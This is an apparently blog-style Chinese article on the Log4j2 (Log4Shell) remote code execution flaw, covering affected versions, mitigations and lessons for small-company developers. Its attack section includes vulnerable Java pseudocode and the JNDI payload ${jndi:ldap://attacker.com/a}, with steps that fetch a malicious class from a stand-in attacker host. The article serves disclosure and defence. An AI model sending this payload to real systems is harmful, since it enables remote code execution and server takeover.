[[439896]]

事件背景

12月10日，看到朋友圈中已經有人在通宵修改、上線系統了。隨即，又看到阿里云安全、騰訊安全部門發出的官方報告：”Apache Log4j2存在遠程代碼執行漏洞“，且漏洞已對外公開。

看到相關消息，馬上爬起來把所有項目的日志系統過濾一遍，還好老項目采用的log4j，新項目采用的logback，沒有中招。隨后就看到朋友圈鋪天蓋地的相關消息。

作為一個史詩級的事件，緊急修改漏洞是必然的。作為程序員，如果看到這則消息，連去核查一下系統都做不到，那真的不是一個合格的程序員。

經歷過這次事件，不僅是看熱鬧而已，還要思考一下，作為小公司如何避免、提前預防、做好準備應對這類Bug。

漏洞描述

Apache Log4j2是一款優秀的Java日志框架，與Logback平分秋色，大量主流的開源框架采用了Log4j2，像Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。所以，這樣一個底層框架出現問題，影響面可想而知。

漏洞信息：Apache Log4j 2.15.0-rc1 版本存在漏洞繞過，需及時更新至 Apache Log4j 2.15.0-rc2 版本。

影響范圍：2.0 <= Apache log4j2 <= 2.14.1。

最新修復版本：https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

補救方案

方案一：升級版本，發布系統;

方案二：臨時補救：

• 修改JVM參數,設置 -Dlog4j2.formatMsgNoLookups=true。
• 在涉及漏洞的項目的類路徑(classpath)下增加log4j2.component.properties配置文件并增加配置項log4j2.formatMsgNoLookups=true。
• 將系統環境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設置為 true。

攻擊原理

攻擊偽代碼示例：

import org.apache.log4j.Logger; 
 
import java.io.*; 
import java.sql.SQLException; 
import java.util.*; 
 
public class VulnerableLog4jExampleHandler implements HttpHandler { 
 
  static Logger log = Logger.getLogger(log4jExample.class.getName()); 
 
  /** 
   * 示例偽代碼：一個簡單的HTTP端點，其中讀取User Agent信息并進行日志記錄； 
   */ 
  public void handle(HttpExchange he) throws IOException { 
   // 獲取user-agent信息 
    String userAgent = he.getRequestHeader("user-agent"); 
     
    // 此行記錄日志的代碼，通過記錄攻擊者控制的HTTP用戶代理標頭來觸發RCE。 
    // 攻擊者可以設置他們的User-Agent header到${jndi:ldap://attacker.com/a} 
    log.info("Request User Agent:" + userAgent); 
 
    String response = "<h1>Hello There, " + userAgent + "!</h1>"; 
    he.sendResponseHeaders(200, response.length()); 
    OutputStream os = he.getResponseBody(); 
    os.write(response.getBytes()); 
    os.close(); 
  } 
} 

基于上述代碼的基本攻擊步驟：

• 請求對應的HTTP端點(或接口)，在請求信息中攜帶攻擊代碼(比如，在user-agent中攜帶${jndi:ldap://attacker.com/a});
• 服務器在通過Log4j2執行日志記錄時，記錄中包含了基于JNDI和LDAP的惡意負載${jndi:ldap://attacker.com/a}，其中attacker.com是攻擊者控制的地址。
• 記錄日志操作觸發向攻擊者控制的地址發送請求。
• 對應請求返回在響應中返回可執行的惡意代碼，注入到服務器進程當中。比如返回，https://attacker.com/Attack.class 。
• 進而執行腳本控制服務器。

騰訊安全專家的復現如下：

log4j2漏洞復現

小公司程序員能做些什么?

關于漏洞及解決方案，上面已經詳細聊了，問題基本得以解決。在大的互聯網企業，是有專門的安全運維部門來監控、掃描這些漏洞的。但在小公司，很顯然沒有這樣的條件。

那么，我們該怎么辦?同時，作為事件的經歷者，你是否思考過這個事件中反映出的一些其他問題嗎?

第一，是否第一時間得到消息?

在大企業，一旦發現這樣的漏洞，安全部門會第一時間進行通知。但在小企業，沒有安全部門，你是如何獲取到漏洞的消息的呢?

比如我所在的企業，是沒有安全部門的，但也幾乎是第一時間得知漏洞消息，進行系統排查的。

作為程序員，如果漏洞消息已經爆出很久，你卻一無所知，那就應該反思一下朋友圈的質量以及對技術熱點的關注度問題了。

如何獲得圈內第一手消息，取決于也反映著你在社交圈或技術圈所處的位置與現狀。

第二，是否置若罔聞?

很多朋友可能也看到了這則漏洞消息，但也就是看一下熱鬧，然后該干嘛干嘛了，系統有漏洞就有漏洞了唄~

如果你是如此，或你的團隊是如此，你真的需要反省一下職業素養問題了。

很多人可能覺得自己很牛，覺得自己懷才不遇，覺得工資收入低，覺得被虧待……那么，對照一下對這件事所作出的反應，基本就知道自己是不是被虧待了。

第三，如何應對突發事件?

這樣的突發事件，也是對系統運維、團隊管理的一個考驗，也是一個仿真練習：大家都正在進行著當前業務的開發，有一個突發Bug要修改，改一半的代碼如何操作?如大面積發布?

第一，改一半的代碼怎么辦?如果你的團隊的代碼開發都是基于master(主干)進行開發、提交代碼，針對這樣的突發事件，必然會面對改了一半的代碼，提交了，想一起發布但還沒測試，這種騎虎難下的局面。

所以，代碼的管理(如何打分支、合并分支、分支與主干代碼不同環境的發布)必須得從日常的點滴做起，當突發事件發生時，也不至于手忙腳亂。

第二，有大量項目需要發布怎么辦?當然，最古老的方式就是一個系統一個系統手動發布。如果是微服務及應用較多，不僅容易出現錯誤，而且耗時較長。這就提醒我們，構建自動化發布流程的重要性。

第四，怎么找出系統漏洞?

有安全部門的公司，會定期掃描系統漏洞，那么沒有安全部門的公司只能坐以待斃嗎?

其實，還是有一些方法可以發現系統的一些漏洞的。比如，勤關注使用框架的版本升級、利用三方提供的漏洞掃描(比如阿里云服務器的安全掃描)、與同行交流等手段。

小結

任何一個漏洞對軟件系統來說都有可能是致命的，也需要我們謹慎對待的。對于漏洞的處理及做出的反應也是從業者職業素養的體現。

而如果能從一次次突發事件中學習、思考到更多內容，你將比別人更快的成長。